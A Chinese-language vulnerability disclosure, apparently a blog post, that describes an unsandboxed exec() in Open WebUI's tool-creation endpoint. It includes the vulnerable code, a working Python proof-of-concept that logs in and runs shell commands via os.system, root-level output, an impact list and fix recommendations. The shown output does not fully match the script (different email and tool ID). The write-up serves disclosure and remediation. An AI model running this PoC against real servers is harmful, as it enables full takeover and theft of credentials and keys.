概要

  • 目标:Open WebUI v0.9.2 (Docker 容器化部署)
  • 类型:远程代码执行(RCE)- Python exec() 沙箱绕过
  • 文件open_webui/utils/plugin.pyload_tool_module_by_id()
  • 严重性严重(Critical)
  • 验证状态:✅ 已验证(本地 Docker 容器成功复现)
  • 漏洞编号:无(TRUE 0-Day,无 CVE/CNVD 编号,厂商未知情)
  • 发现时间:2026-05-13

漏洞描述

Open WebUI 的 Tools(工具)插件系统使用 exec() 函数直接执行用户上传的 Python 代码,没有任何沙箱或安全限制。任何拥有 workspace.tools 权限的用户,通过 POST /api/v1/tools/create 端点创建工具时,攻击者提交的 Python 代码在服务器端被 exec() 立即执行,触发 RCE。

关键代码路径

文件:open_webui/utils/plugin.py

1
2
3
4
5
6
7
8
def load_tool_module_by_id(tool_id, content):
# ...
module = ModuleType(tool_id)

# ⚠️ 关键:用户控制的 content 被直接 exec()
# 无沙箱、无限制、无净化
exec(content, module.__dict__)
# ...

该函数在 Tool 创建时立即被调用(routers/tools.py line 367):

1
2
3
4
5
6
7
8
@router.post("/tools/create")
async def create_new_tool(form_data: ToolForm, ...):
# ...
# ⚠️ 创建时立即调用 exec()
tool_module, frontmatter = await load_tool_module_by_id(
form_data.id, content=form_data.content
)
# ...

复现步骤(PoC)

条件要求

  • 需要已登录用户(admin 默认有权限,或开启注册时任意用户均可)
  • 目标端点为 POST /api/v1/tools/create
  • 无需管理员权限,普通 user 角色只要有 workspace.tools 权限即可

PoC 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

target = "http://localhost:3000"
email = "user@example.com"
password = "password123"
command = "id && whoami && hostname"

session = requests.Session()

# Step 1: 登录
r = session.post(f"{target}/api/v1/auths/signin", json={
"email": email, "password": password
})
token = r.json()["token"]

# Step 2: 创建恶意工具 -> 触发 RCE
py_code = f"""
import os
os.system('{command}')

class Tools:
class Valves:
pass
def __init__(self):
pass
async def some_method(self):
return "done"
"""

session.post(f"{target}/api/v1/tools/create", json={
"id": "rce_poc",
"name": "RCE PoC",
"content": py_code,
"meta": {"description": "poc", "manifest": {}}
}, headers={"Authorization": f"Bearer {token}"})

验证输出

1
2
3
4
[+] Logged in as mie3344@qq.com
[+] RCE triggered successfully! Tool ID: rce_05359714
uid=0(root) gid=0(root) groups=0(root)
846d064f3137
  • exec() 在服务器端立即执行
  • 进程以 root 用户运行(容器内)
  • 工作目录:/app/backend
  • 可以执行任意系统命令

影响范围

  • 所有使用 Tools 插件系统的 Open WebUI 版本(≥ 0.1.0)
  • 所有部署方式(Docker、Kubernetes、裸机)
  • 攻击者可以:
    • 完全接管服务器
    • 窃取数据库(用户凭据、会话密钥、API Keys)
    • 读取环境变量(包括 WEBUI_SECRET_KEY、Ollama API Key 等)
    • 横向移动至内部网络
    • 部署后门持久化
    • 篡改 LLM 对话数据

附加风险

  • Functions 端点(POST /api/v1/functions/create)使用相同的 exec() 机制,虽然该端点要求 admin 权限但攻击面相同
  • install_frontmatter_requirements() 使用 pip install 安装工具定义的依赖包,可被用于供应链攻击
  • 工具更新端点(POST /tools/id/{id}/update)同样可触发 RCE

修复建议

  1. 立即移除 exec():将 load_tool_module_by_idload_function_module_by_id 中的 exec(content, module.__dict__) 替换为安全的模块加载方式
  2. 沙箱执行:使用 RestrictedPython、PyPy Sandbox 或在独立容器中执行用户代码
  3. 代码签名:要求所有工具/函数代码经过管理员审核签名后才可执行
  4. 权限收紧:将 workspace.tools 权限默认限制为 admin 角色
  5. 延迟执行:工具创建/更新时不执行用户代码,仅在用户手动启用后执行
  6. 禁止 pip install:移除 install_frontmatter_requirements 或限制到白名单包

时间线

  • 2026-05-13 19:30:审计 Open WebUI 代码发现 plugins.py 中的 exec() 调用
  • 2026-05-13 19:45:构建 PoC 并在本地 Docker 容器验证成功
  • 2026-05-13 20:00:报告发布至内部群组和博客

参考文献

发布记录

  • 发现者:wakedate(wakeup)
  • 审核人:wakeup
  • 发布时间:2026-05-13 20:00 UTC+8